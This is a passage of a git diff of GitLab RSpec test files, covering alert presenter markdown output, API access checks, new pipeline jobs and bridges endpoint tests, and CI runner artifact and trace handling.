@@ -63,119 +63,62 @@ RSpec.describe Projects::Prometheus::AlertPresenter do
it do
is_expected.to eq(
<<~MARKDOWN.chomp
- #### Summary
-
- **Start time:** #{presenter.start_time}
-
- MARKDOWN
- )
- end
- end
-
- context 'with annotations' do
- before do
- payload['annotations'] = { 'title' => 'Alert Title', 'foo' => 'value1', 'bar' => 'value2' }
- end
-
- it do
- is_expected.to eq(
- <<~MARKDOWN.chomp
- #### Summary
-
**Start time:** #{presenter.start_time}
- #### Alert Details
-
- **foo:** value1#{markdown_line_break}
- **bar:** value2
MARKDOWN
)
end
end
- context 'with full query' do
+ context 'with optional attributes' do
before do
+ payload['annotations'] = {
+ 'title' => 'Alert Title',
+ 'foo' => 'value1',
+ 'bar' => 'value2',
+ 'description' => 'Alert Description',
+ 'monitoring_tool' => 'monitoring_tool_name',
+ 'service' => 'service_name',
+ 'hosts' => ['http://localhost:3000', 'http://localhost:3001']
+ }
payload['generatorURL'] = 'http://host?g0.expr=query'
end
it do
is_expected.to eq(
<<~MARKDOWN.chomp
- #### Summary
-
**Start time:** #{presenter.start_time}#{markdown_line_break}
- **full_query:** `query`
+ **full_query:** `query`#{markdown_line_break}
+ **Service:** service_name#{markdown_line_break}
+ **Monitoring tool:** monitoring_tool_name#{markdown_line_break}
+ **Hosts:** http://localhost:3000 http://localhost:3001
MARKDOWN
)
end
end
- context 'with the Generic Alert parameters' do
- let(:generic_alert_params) do
- {
- 'title' => 'The Generic Alert Title',
- 'description' => 'The Generic Alert Description',
- 'monitoring_tool' => 'monitoring_tool_name',
- 'service' => 'service_name',
- 'hosts' => ['http://localhost:3000', 'http://localhost:3001']
- }
- end
-
+ context 'when hosts is a string' do
before do
- payload['annotations'] = generic_alert_params
+ payload['annotations'] = { 'hosts' => 'http://localhost:3000' }
end
it do
is_expected.to eq(
<<~MARKDOWN.chomp
- #### Summary
-
- **Start time:** #{presenter.start_time}#{markdown_line_break}
- **Service:** service_name#{markdown_line_break}
- **Monitoring tool:** monitoring_tool_name#{markdown_line_break}
- **Hosts:** http://localhost:3000 http://localhost:3001
-
- #### Alert Details
+ **Start time:** #{presenter.start_time}#{markdown_line_break}
+ **Hosts:** http://localhost:3000
- **description:** The Generic Alert Description
MARKDOWN
)
end
-
- context 'when hosts is a string' do
- before do
- payload['annotations'] = { 'hosts' => 'http://localhost:3000' }
- end
-
- it do
- is_expected.to eq(
- <<~MARKDOWN.chomp
- #### Summary
-
- **Start time:** #{presenter.start_time}#{markdown_line_break}
- **Hosts:** http://localhost:3000
-
- MARKDOWN
- )
- end
- end
end
context 'with embedded metrics' do
let(:starts_at) { '2018-03-12T09:06:00Z' }
shared_examples_for 'markdown with metrics embed' do
- let(:expected_markdown) do
- <<~MARKDOWN.chomp
- #### Summary
-
- **Start time:** #{presenter.start_time}#{markdown_line_break}
- **full_query:** `avg(metric) > 1.0`
-
- [](#{presenter.metrics_dashboard_url})
- MARKDOWN
- end
+ let(:embed_regex) { /\n\[\]\(#{Regexp.quote(presenter.metrics_dashboard_url)}\)\z/ }
context 'without a starting time available' do
around do |example|
@@ -186,11 +129,11 @@ RSpec.describe Projects::Prometheus::AlertPresenter do
payload.delete('startsAt')
end
- it { is_expected.to eq(expected_markdown) }
+ it { is_expected.to match(embed_regex) }
end
context 'with a starting time available' do
- it { is_expected.to eq(expected_markdown) }
+ it { is_expected.to match(embed_regex) }
end
end
@@ -220,14 +163,8 @@ RSpec.describe Projects::Prometheus::AlertPresenter do
end
context 'when not enough information is present for an embed' do
- let(:expected_markdown) do
- <<~MARKDOWN.chomp
- #### Summary
-
- **Start time:** #{presenter.start_time}#{markdown_line_break}
- **full_query:** `avg(metric) > 1.0`
-
- MARKDOWN
+ shared_examples_for 'does not include an embed' do
+ it { is_expected.not_to match(/\[\]\(.+\)/) }
end
context 'without title' do
@@ -235,7 +172,7 @@ RSpec.describe Projects::Prometheus::AlertPresenter do
payload['annotations'].delete('title')
end
- it { is_expected.to eq(expected_markdown) }
+ it_behaves_like 'does not include an embed'
end
context 'without environment' do
@@ -243,24 +180,15 @@ RSpec.describe Projects::Prometheus::AlertPresenter do
payload['labels'].delete('gitlab_environment_name')
end
- it { is_expected.to eq(expected_markdown) }
+ it_behaves_like 'does not include an embed'
end
context 'without full_query' do
- let(:expected_markdown) do
- <<~MARKDOWN.chomp
- #### Summary
-
- **Start time:** #{presenter.start_time}
-
- MARKDOWN
- end
-
before do
payload.delete('generatorURL')
end
- it { is_expected.to eq(expected_markdown) }
+ it_behaves_like 'does not include an embed'
end
end
end
diff --git a/spec/requests/api/access_requests_spec.rb b/spec/requests/api/access_requests_spec.rb
index 223d740a004..2af6c438fc9 100644
--- a/spec/requests/api/access_requests_spec.rb
+++ b/spec/requests/api/access_requests_spec.rb
@@ -90,7 +90,7 @@ RSpec.describe API::AccessRequests do
context 'when authenticated as a stranger' do
context "when access request is disabled for the #{source_type}" do
before do
- source.update(request_access_enabled: false)
+ source.update!(request_access_enabled: false)
end
it 'returns 403' do
diff --git a/spec/requests/api/boards_spec.rb b/spec/requests/api/boards_spec.rb
index f0d3afd0af7..a63198c5407 100644
--- a/spec/requests/api/boards_spec.rb
+++ b/spec/requests/api/boards_spec.rb
@@ -41,7 +41,7 @@ RSpec.describe API::Boards do
it 'creates a new issue board list for group labels' do
group = create(:group)
group_label = create(:group_label, group: group)
- board_parent.update(group: group)
+ board_parent.update!(group: group)
post api(url, user), params: { label_id: group_label.id }
@@ -54,7 +54,7 @@ RSpec.describe API::Boards do
group = create(:group)
sub_group = create(:group, parent: group)
group_label = create(:group_label, group: group)
- board_parent.update(group: sub_group)
+ board_parent.update!(group: sub_group)
group.add_developer(user)
sub_group.add_developer(user)
diff --git a/spec/requests/api/branches_spec.rb b/spec/requests/api/branches_spec.rb
index 4b9b82b3a5b..5298f93886d 100644
--- a/spec/requests/api/branches_spec.rb
+++ b/spec/requests/api/branches_spec.rb
@@ -181,7 +181,7 @@ RSpec.describe API::Branches do
context 'when unauthenticated', 'and project is public' do
before do
- project.update(visibility_level: Gitlab::VisibilityLevel::PUBLIC)
+ project.update!(visibility_level: Gitlab::VisibilityLevel::PUBLIC)
end
it_behaves_like 'repository branches'
@@ -289,7 +289,7 @@ RSpec.describe API::Branches do
context 'when unauthenticated', 'and project is public' do
before do
- project.update(visibility_level: Gitlab::VisibilityLevel::PUBLIC)
+ project.update!(visibility_level: Gitlab::VisibilityLevel::PUBLIC)
end
it_behaves_like 'repository branch'
diff --git a/spec/requests/api/ci/pipelines_spec.rb b/spec/requests/api/ci/pipelines_spec.rb
index 111bc933ea4..577b43e6e42 100644
--- a/spec/requests/api/ci/pipelines_spec.rb
+++ b/spec/requests/api/ci/pipelines_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe API::Ci::Pipelines do
let_it_be(:user) { create(:user) }
let_it_be(:non_member) { create(:user) }
+ let_it_be(:project2) { create(:project, creator: user) }
# We need to reload as the shared example 'pipelines visibility table' is changing project
let_it_be(:project, reload: true) do
@@ -307,6 +308,606 @@ RSpec.describe API::Ci::Pipelines do
end
end
+ describe 'GET /projects/:id/pipelines/:pipeline_id/jobs' do
+ let(:query) { {} }
+ let(:api_user) { user }
+ let_it_be(:job) do
+ create(:ci_build, :success, pipeline: pipeline,
+ artifacts_expire_at: 1.day.since)
+ end
+
+ let(:guest) { create(:project_member, :guest, project: project).user }
+
+ before do |example|
+ unless example.metadata[:skip_before_request]
+ project.update!(public_builds: false)
+ get api("/projects/#{project.id}/pipelines/#{pipeline.id}/jobs", api_user), params: query
+ end
+ end
+
+ context 'with ci_jobs_finder_refactor ff enabled' do
+ before do
+ stub_feature_flags(ci_jobs_finder_refactor: true)
+ end
+
+ context 'authorized user' do
+ it 'returns pipeline jobs' do
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to include_pagination_headers
+ expect(json_response).to be_an Array
+ end
+
+ it 'returns correct values' do
+ expect(json_response).not_to be_empty
+ expect(json_response.first['commit']['id']).to eq project.commit.id
+ expect(Time.parse(json_response.first['artifacts_expire_at'])).to be_like_time(job.artifacts_expire_at)
+ expect(json_response.first['artifacts_file']).to be_nil
+ expect(json_response.first['artifacts']).to be_an Array
+ expect(json_response.first['artifacts']).to be_empty
+ end
+
+ it_behaves_like 'a job with artifacts and trace' do
+ let(:api_endpoint) { "/projects/#{project.id}/pipelines/#{pipeline.id}/jobs" }
+ end
+
+ it 'returns pipeline data' do
+ json_job = json_response.first
+
+ expect(json_job['pipeline']).not_to be_empty
+ expect(json_job['pipeline']['id']).to eq job.pipeline.id
+ expect(json_job['pipeline']['ref']).to eq job.pipeline.ref
+ expect(json_job['pipeline']['sha']).to eq job.pipeline.sha
+ expect(json_job['pipeline']['status']).to eq job.pipeline.status
+ end
+
+ context 'filter jobs with one scope element' do
+ let(:query) { { 'scope' => 'pending' } }
+
+ it do
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to be_an Array
+ end
+ end
+
+ context 'filter jobs with hash' do
+ let(:query) { { scope: { hello: 'pending', world: 'running' } } }
+
+ it { expect(response).to have_gitlab_http_status(:bad_request) }
+ end
+
+ context 'filter jobs with array of scope elements' do
+ let(:query) { { scope: %w(pending running) } }
+
+ it do
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to be_an Array
+ end
+ end
+
+ context 'respond 400 when scope contains invalid state' do
+ let(:query) { { scope: %w(unknown running) } }
+
+ it { expect(response).to have_gitlab_http_status(:bad_request) }
+ end
+
+ context 'jobs in different pipelines' do
+ let!(:pipeline2) { create(:ci_empty_pipeline, project: project) }
+ let!(:job2) { create(:ci_build, pipeline: pipeline2) }
+
+ it 'excludes jobs from other pipelines' do
+ json_response.each { |job| expect(job['pipeline']['id']).to eq(pipeline.id) }
+ end
+ end
+
+ it 'avoids N+1 queries' do
+ control_count = ActiveRecord::QueryRecorder.new(skip_cached: false) do
+ get api("/projects/#{project.id}/pipelines/#{pipeline.id}/jobs", api_user), params: query
+ end.count
+
+ create_list(:ci_build, 3, :trace_artifact, :artifacts, :test_reports, pipeline: pipeline)
+
+ expect do
+ get api("/projects/#{project.id}/pipelines/#{pipeline.id}/jobs", api_user), params: query
+ end.not_to exceed_all_query_limit(control_count)
+ end
+ end
+
+ context 'no pipeline is found' do
+ it 'does not return jobs' do
+ get api("/projects/#{project2.id}/pipelines/#{pipeline.id}/jobs", user)
+
+ expect(json_response['message']).to eq '404 Project Not Found'
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'unauthorized user' do
+ context 'when user is not logged in' do
+ let(:api_user) { nil }
+
+ it 'does not return jobs' do
+ expect(json_response['message']).to eq '404 Project Not Found'
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'when user is guest' do
+ let(:guest) { create(:project_member, :guest, project: project).user }
+ let(:api_user) { guest }
+
+ it 'does not return jobs' do
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+ end
+ end
+
+ context 'with ci_jobs_finder ff disabled' do
+ before do
+ stub_feature_flags(ci_jobs_finder_refactor: false)
+ end
+
+ context 'authorized user' do
+ it 'returns pipeline jobs' do
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to include_pagination_headers
+ expect(json_response).to be_an Array
+ end
+
+ it 'returns correct values' do
+ expect(json_response).not_to be_empty
+ expect(json_response.first['commit']['id']).to eq project.commit.id
+ expect(Time.parse(json_response.first['artifacts_expire_at'])).to be_like_time(job.artifacts_expire_at)
+ expect(json_response.first['artifacts_file']).to be_nil
+ expect(json_response.first['artifacts']).to be_an Array
+ expect(json_response.first['artifacts']).to be_empty
+ end
+
+ it_behaves_like 'a job with artifacts and trace' do
+ let(:api_endpoint) { "/projects/#{project.id}/pipelines/#{pipeline.id}/jobs" }
+ end
+
+ it 'returns pipeline data' do
+ json_job = json_response.first
+
+ expect(json_job['pipeline']).not_to be_empty
+ expect(json_job['pipeline']['id']).to eq job.pipeline.id
+ expect(json_job['pipeline']['ref']).to eq job.pipeline.ref
+ expect(json_job['pipeline']['sha']).to eq job.pipeline.sha
+ expect(json_job['pipeline']['status']).to eq job.pipeline.status
+ end
+
+ context 'filter jobs with one scope element' do
+ let(:query) { { 'scope' => 'pending' } }
+
+ it do
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to be_an Array
+ end
+ end
+
+ context 'filter jobs with hash' do
+ let(:query) { { scope: { hello: 'pending', world: 'running' } } }
+
+ it { expect(response).to have_gitlab_http_status(:bad_request) }
+ end
+
+ context 'filter jobs with array of scope elements' do
+ let(:query) { { scope: %w(pending running) } }
+
+ it do
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to be_an Array
+ end
+ end
+
+ context 'respond 400 when scope contains invalid state' do
+ let(:query) { { scope: %w(unknown running) } }
+
+ it { expect(response).to have_gitlab_http_status(:bad_request) }
+ end
+
+ context 'jobs in different pipelines' do
+ let!(:pipeline2) { create(:ci_empty_pipeline, project: project) }
+ let!(:job2) { create(:ci_build, pipeline: pipeline2) }
+
+ it 'excludes jobs from other pipelines' do
+ json_response.each { |job| expect(job['pipeline']['id']).to eq(pipeline.id) }
+ end
+ end
+
+ it 'avoids N+1 queries' do
+ control_count = ActiveRecord::QueryRecorder.new(skip_cached: false) do
+ get api("/projects/#{project.id}/pipelines/#{pipeline.id}/jobs", api_user), params: query
+ end.count
+
+ create_list(:ci_build, 3, :trace_artifact, :artifacts, :test_reports, pipeline: pipeline)
+
+ expect do
+ get api("/projects/#{project.id}/pipelines/#{pipeline.id}/jobs", api_user), params: query
+ end.not_to exceed_all_query_limit(control_count)
+ end
+ end
+
+ context 'no pipeline is found' do
+ it 'does not return jobs' do
+ get api("/projects/#{project2.id}/pipelines/#{pipeline.id}/jobs", user)
+
+ expect(json_response['message']).to eq '404 Project Not Found'
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'unauthorized user' do
+ context 'when user is not logged in' do
+ let(:api_user) { nil }
+
+ it 'does not return jobs' do
+ expect(json_response['message']).to eq '404 Project Not Found'
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'when user is guest' do
+ let(:guest) { create(:project_member, :guest, project: project).user }
+ let(:api_user) { guest }
+
+ it 'does not return jobs' do
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+ end
+ end
+ end
+
+ describe 'GET /projects/:id/pipelines/:pipeline_id/bridges' do
+ let_it_be(:bridge) { create(:ci_bridge, pipeline: pipeline) }
+ let(:downstream_pipeline) { create(:ci_pipeline) }
+
+ let!(:pipeline_source) do
+ create(:ci_sources_pipeline,
+ source_pipeline: pipeline,
+ source_project: project,
+ source_job: bridge,
+ pipeline: downstream_pipeline,
+ project: downstream_pipeline.project)
+ end
+
+ let(:query) { {} }
+ let(:api_user) { user }
+
+ before do |example|
+ unless example.metadata[:skip_before_request]
+ project.update!(public_builds: false)
+ get api("/projects/#{project.id}/pipelines/#{pipeline.id}/bridges", api_user), params: query
+ end
+ end
+
+ context 'with ci_jobs_finder_refactor ff enabled' do
+ before do
+ stub_feature_flags(ci_jobs_finder_refactor: true)
+ end
+
+ context 'authorized user' do
+ it 'returns pipeline bridges' do
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to include_pagination_headers
+ expect(json_response).to be_an Array
+ end
+
+ it 'returns correct values' do
+ expect(json_response).not_to be_empty
+ expect(json_response.first['commit']['id']).to eq project.commit.id
+ expect(json_response.first['id']).to eq bridge.id
+ expect(json_response.first['name']).to eq bridge.name
+ expect(json_response.first['stage']).to eq bridge.stage
+ end
+
+ it 'returns pipeline data' do
+ json_bridge = json_response.first
+
+ expect(json_bridge['pipeline']).not_to be_empty
+ expect(json_bridge['pipeline']['id']).to eq bridge.pipeline.id
+ expect(json_bridge['pipeline']['ref']).to eq bridge.pipeline.ref
+ expect(json_bridge['pipeline']['sha']).to eq bridge.pipeline.sha
+ expect(json_bridge['pipeline']['status']).to eq bridge.pipeline.status
+ end
+
+ it 'returns downstream pipeline data' do
+ json_bridge = json_response.first
+
+ expect(json_bridge['downstream_pipeline']).not_to be_empty
+ expect(json_bridge['downstream_pipeline']['id']).to eq downstream_pipeline.id
+ expect(json_bridge['downstream_pipeline']['ref']).to eq downstream_pipeline.ref
+ expect(json_bridge['downstream_pipeline']['sha']).to eq downstream_pipeline.sha
+ expect(json_bridge['downstream_pipeline']['status']).to eq downstream_pipeline.status
+ end
+
+ context 'filter bridges' do
+ before_all do
+ create_bridge(pipeline, :pending)
+ create_bridge(pipeline, :running)
+ end
+
+ context 'with one scope element' do
+ let(:query) { { 'scope' => 'pending' } }
+
+ it :skip_before_request do
+ get api("/projects/#{project.id}/pipelines/#{pipeline.id}/bridges", api_user), params: query
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to be_an Array
+ expect(json_response.count).to eq 1
+ expect(json_response.first["status"]).to eq "pending"
+ end
+ end
+
+ context 'with array of scope elements' do
+ let(:query) { { scope: %w(pending running) } }
+
+ it :skip_before_request do
+ get api("/projects/#{project.id}/pipelines/#{pipeline.id}/bridges", api_user), params: query
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to be_an Array
+ expect(json_response.count).to eq 2
+ json_response.each { |r| expect(%w(pending running).include?(r['status'])).to be true }
+ end
+ end
+ end
+
+ context 'respond 400 when scope contains invalid state' do
+ context 'in an array' do
+ let(:query) { { scope: %w(unknown running) } }
+
+ it { expect(response).to have_gitlab_http_status(:bad_request) }
+ end
+
+ context 'in a hash' do
+ let(:query) { { scope: { unknown: true } } }
+
+ it { expect(response).to have_gitlab_http_status(:bad_request) }
+ end
+
+ context 'in a string' do
+ let(:query) { { scope: "unknown" } }
+
+ it { expect(response).to have_gitlab_http_status(:bad_request) }
+ end
+ end
+
+ context 'bridges in different pipelines' do
+ let!(:pipeline2) { create(:ci_empty_pipeline, project: project) }
+ let!(:bridge2) { create(:ci_bridge, pipeline: pipeline2) }
+
+ it 'excludes bridges from other pipelines' do
+ json_response.each { |bridge| expect(bridge['pipeline']['id']).to eq(pipeline.id) }
+ end
+ end
+
+ it 'avoids N+1 queries' do
+ control_count = ActiveRecord::QueryRecorder.new(skip_cached: false) do
+ get api("/projects/#{project.id}/pipelines/#{pipeline.id}/bridges", api_user), params: query
+ end.count
+
+ 3.times { create_bridge(pipeline) }
+
+ expect do
+ get api("/projects/#{project.id}/pipelines/#{pipeline.id}/bridges", api_user), params: query
+ end.not_to exceed_all_query_limit(control_count)
+ end
+ end
+
+ context 'no pipeline is found' do
+ it 'does not return bridges' do
+ get api("/projects/#{project2.id}/pipelines/#{pipeline.id}/bridges", user)
+
+ expect(json_response['message']).to eq '404 Project Not Found'
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'unauthorized user' do
+ context 'when user is not logged in' do
+ let(:api_user) { nil }
+
+ it 'does not return bridges' do
+ expect(json_response['message']).to eq '404 Project Not Found'
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'when user is guest' do
+ let(:api_user) { guest }
+ let(:guest) { create(:project_member, :guest, project: project).user }
+
+ it 'does not return bridges' do
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
+ context 'when user has no read_build access for project' do
+ before do
+ project.add_guest(api_user)
+ end
+
+ it 'does not return bridges' do
+ get api("/projects/#{project.id}/pipelines/#{pipeline.id}/bridges", api_user)
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+ end
+ end
+
+ context 'with ci_jobs_finder_refactor ff disabled' do
+ before do
+ stub_feature_flags(ci_jobs_finder_refactor: false)
+ end
+
+ context 'authorized user' do
+ it 'returns pipeline bridges' do
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to include_pagination_headers
+ expect(json_response).to be_an Array
+ end
+
+ it 'returns correct values' do
+ expect(json_response).not_to be_empty
+ expect(json_response.first['commit']['id']).to eq project.commit.id
+ expect(json_response.first['id']).to eq bridge.id
+ expect(json_response.first['name']).to eq bridge.name
+ expect(json_response.first['stage']).to eq bridge.stage
+ end
+
+ it 'returns pipeline data' do
+ json_bridge = json_response.first
+
+ expect(json_bridge['pipeline']).not_to be_empty
+ expect(json_bridge['pipeline']['id']).to eq bridge.pipeline.id
+ expect(json_bridge['pipeline']['ref']).to eq bridge.pipeline.ref
+ expect(json_bridge['pipeline']['sha']).to eq bridge.pipeline.sha
+ expect(json_bridge['pipeline']['status']).to eq bridge.pipeline.status
+ end
+
+ it 'returns downstream pipeline data' do
+ json_bridge = json_response.first
+
+ expect(json_bridge['downstream_pipeline']).not_to be_empty
+ expect(json_bridge['downstream_pipeline']['id']).to eq downstream_pipeline.id
+ expect(json_bridge['downstream_pipeline']['ref']).to eq downstream_pipeline.ref
+ expect(json_bridge['downstream_pipeline']['sha']).to eq downstream_pipeline.sha
+ expect(json_bridge['downstream_pipeline']['status']).to eq downstream_pipeline.status
+ end
+
+ context 'filter bridges' do
+ before_all do
+ create_bridge(pipeline, :pending)
+ create_bridge(pipeline, :running)
+ end
+
+ context 'with one scope element' do
+ let(:query) { { 'scope' => 'pending' } }
+
+ it :skip_before_request do
+ get api("/projects/#{project.id}/pipelines/#{pipeline.id}/bridges", api_user), params: query
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to be_an Array
+ expect(json_response.count).to eq 1
+ expect(json_response.first["status"]).to eq "pending"
+ end
+ end
+
+ context 'with array of scope elements' do
+ let(:query) { { scope: %w(pending running) } }
+
+ it :skip_before_request do
+ get api("/projects/#{project.id}/pipelines/#{pipeline.id}/bridges", api_user), params: query
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to be_an Array
+ expect(json_response.count).to eq 2
+ json_response.each { |r| expect(%w(pending running).include?(r['status'])).to be true }
+ end
+ end
+ end
+
+ context 'respond 400 when scope contains invalid state' do
+ context 'in an array' do
+ let(:query) { { scope: %w(unknown running) } }
+
+ it { expect(response).to have_gitlab_http_status(:bad_request) }
+ end
+
+ context 'in a hash' do
+ let(:query) { { scope: { unknown: true } } }
+
+ it { expect(response).to have_gitlab_http_status(:bad_request) }
+ end
+
+ context 'in a string' do
+ let(:query) { { scope: "unknown" } }
+
+ it { expect(response).to have_gitlab_http_status(:bad_request) }
+ end
+ end
+
+ context 'bridges in different pipelines' do
+ let!(:pipeline2) { create(:ci_empty_pipeline, project: project) }
+ let!(:bridge2) { create(:ci_bridge, pipeline: pipeline2) }
+
+ it 'excludes bridges from other pipelines' do
+ json_response.each { |bridge| expect(bridge['pipeline']['id']).to eq(pipeline.id) }
+ end
+ end
+
+ it 'avoids N+1 queries' do
+ control_count = ActiveRecord::QueryRecorder.new(skip_cached: false) do
+ get api("/projects/#{project.id}/pipelines/#{pipeline.id}/bridges", api_user), params: query
+ end.count
+
+ 3.times { create_bridge(pipeline) }
+
+ expect do
+ get api("/projects/#{project.id}/pipelines/#{pipeline.id}/bridges", api_user), params: query
+ end.not_to exceed_all_query_limit(control_count)
+ end
+ end
+
+ context 'no pipeline is found' do
+ it 'does not return bridges' do
+ get api("/projects/#{project2.id}/pipelines/#{pipeline.id}/bridges", user)
+
+ expect(json_response['message']).to eq '404 Project Not Found'
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'unauthorized user' do
+ context 'when user is not logged in' do
+ let(:api_user) { nil }
+
+ it 'does not return bridges' do
+ expect(json_response['message']).to eq '404 Project Not Found'
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'when user is guest' do
+ let(:api_user) { guest }
+ let(:guest) { create(:project_member, :guest, project: project).user }
+
+ it 'does not return bridges' do
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
+ context 'when user has no read_build access for project' do
+ before do
+ project.add_guest(api_user)
+ end
+
+ it 'does not return bridges' do
+ get api("/projects/#{project.id}/pipelines/#{pipeline.id}/bridges", api_user)
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+ end
+ end
+
+ def create_bridge(pipeline, status = :created)
+ create(:ci_bridge, status: status, pipeline: pipeline).tap do |bridge|
+ downstream_pipeline = create(:ci_pipeline)
+ create(:ci_sources_pipeline,
+ source_pipeline: pipeline,
+ source_project: pipeline.project,
+ source_job: bridge,
+ pipeline: downstream_pipeline,
+ project: downstream_pipeline.project)
+ end
+ end
+ end
+
describe 'POST /projects/:id/pipeline ' do
def expect_variables(variables, expected_variables)
variables.each_with_index do |variable, index|
@@ -476,17 +1077,18 @@ RSpec.describe API::Ci::Pipelines do
end
end
- context 'when config source is not ci' do
- let(:non_ci_config_source) { ::Ci::PipelineEnums.non_ci_config_source_values.first }
- let(:pipeline_not_ci) do
- create(:ci_pipeline, config_source: non_ci_config_source, project: project)
+ context 'when pipeline is a dangling pipeline' do
+ let(:dangling_source) { Enums::Ci::Pipeline.dangling_sources.each_value.first }
+
+ let(:dangling_pipeline) do
+ create(:ci_pipeline, source: dangling_source, project: project)
end
it 'returns the specified pipeline' do
- get api("/projects/#{project.id}/pipelines/#{pipeline_not_ci.id}", user)
+ get api("/projects/#{project.id}/pipelines/#{dangling_pipeline.id}", user)
expect(response).to have_gitlab_http_status(:ok)
- expect(json_response['sha']).to eq(pipeline_not_ci.sha)
+ expect(json_response['sha']).to eq(dangling_pipeline.sha)
end
end
end
@@ -624,7 +1226,7 @@ RSpec.describe API::Ci::Pipelines do
end
it 'does not log an audit event' do
- expect { delete api("/projects/#{project.id}/pipelines/#{pipeline.id}", owner) }.not_to change { SecurityEvent.count }
+ expect { delete api("/projects/#{project.id}/pipelines/#{pipeline.id}", owner) }.not_to change { AuditEvent.count }
end
context 'when the pipeline has jobs' do
diff --git a/spec/requests/api/ci/runner/jobs_artifacts_spec.rb b/spec/requests/api/ci/runner/jobs_artifacts_spec.rb
index e5c60bb539b..97110b63ff6 100644
--- a/spec/requests/api/ci/runner/jobs_artifacts_spec.rb
+++ b/spec/requests/api/ci/runner/jobs_artifacts_spec.rb
@@ -143,6 +143,7 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
expect(response.media_type).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
expect(json_response['TempPath']).to eq(JobArtifactUploader.workhorse_local_upload_path)
expect(json_response['RemoteObject']).to be_nil
+ expect(json_response['MaximumSize']).not_to be_nil
end
end
@@ -167,6 +168,7 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
expect(json_response['RemoteObject']).to have_key('StoreURL')
expect(json_response['RemoteObject']).to have_key('DeleteURL')
expect(json_response['RemoteObject']).to have_key('MultipartUpload')
+ expect(json_response['MaximumSize']).not_to be_nil
end
end
@@ -188,6 +190,7 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
expect(response).to have_gitlab_http_status(:ok)
expect(response.media_type).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
expect(json_response['TempPath']).not_to be_nil
+ expect(json_response['MaximumSize']).not_to be_nil
end
it 'fails to post too large artifact' do
@@ -235,36 +238,41 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
expect(json_response['ProcessLsif']).to be_truthy
end
- it 'adds ProcessLsifReferences header' do
- authorize_artifacts_with_token_in_headers(artifact_type: :lsif)
+ it 'tracks code_intelligence usage ping' do
+ tracking_params = {
+ event_names: 'i_source_code_code_intelligence',
+ start_date: Date.yesterday,
+ end_date: Date.today
+ }
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response['ProcessLsifReferences']).to be_truthy
+ expect { authorize_artifacts_with_token_in_headers(artifact_type: :lsif) }
+ .to change { Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(tracking_params) }
+ .by(1)
end
context 'code_navigation feature flag is disabled' do
- it 'responds with a forbidden error' do
+ before do
stub_feature_flags(code_navigation: false)
+ end
+
+ it 'responds with a forbidden error' do
authorize_artifacts_with_token_in_headers(artifact_type: :lsif)
aggregate_failures do
expect(response).to have_gitlab_http_status(:forbidden)
expect(json_response['ProcessLsif']).to be_falsy
- expect(json_response['ProcessLsifReferences']).to be_falsy
end
end
- end
- context 'code_navigation_references feature flag is disabled' do
- it 'sets ProcessLsifReferences header to false' do
- stub_feature_flags(code_navigation_references: false)
- authorize_artifacts_with_token_in_headers(artifact_type: :lsif)
+ it 'does not track code_intelligence usage ping' do
+ tracking_params = {
+ event_names: 'i_source_code_code_intelligence',
+ start_date: Date.yesterday,
+ end_date: Date.today
+ }
- aggregate_failures do
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response['ProcessLsif']).to be_truthy
- expect(json_response['ProcessLsifReferences']).to be_falsy
- end
+ expect { authorize_artifacts_with_token_in_headers(artifact_type: :lsif) }
+ .not_to change { Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(tracking_params) }
end
end
end
diff --git a/spec/requests/api/ci/runner/jobs_put_spec.rb b/spec/requests/api/ci/runner/jobs_put_spec.rb
index 025747f2f0c..183a3b26e00 100644
--- a/spec/requests/api/ci/runner/jobs_put_spec.rb
+++ b/spec/requests/api/ci/runner/jobs_put_spec.rb
@@ -105,6 +105,67 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
it { expect(job).to be_unmet_prerequisites }
end
+
+ context 'when unmigrated live trace chunks exist' do
+ context 'when accepting trace feature is enabled' do
+ before do
+ stub_feature_flags(ci_accept_trace: true)
+ end
+
+ context 'when checksum is present' do
+ context 'when live trace chunk is still live' do
+ it 'responds with 202' do
+ update_job(state: 'success', checksum: 'crc32:12345678')
+
+ expect(job.pending_state).to be_present
+ expect(response).to have_gitlab_http_status(:accepted)
+ end
+ end
+
+ context 'when runner retries request after receiving 202' do
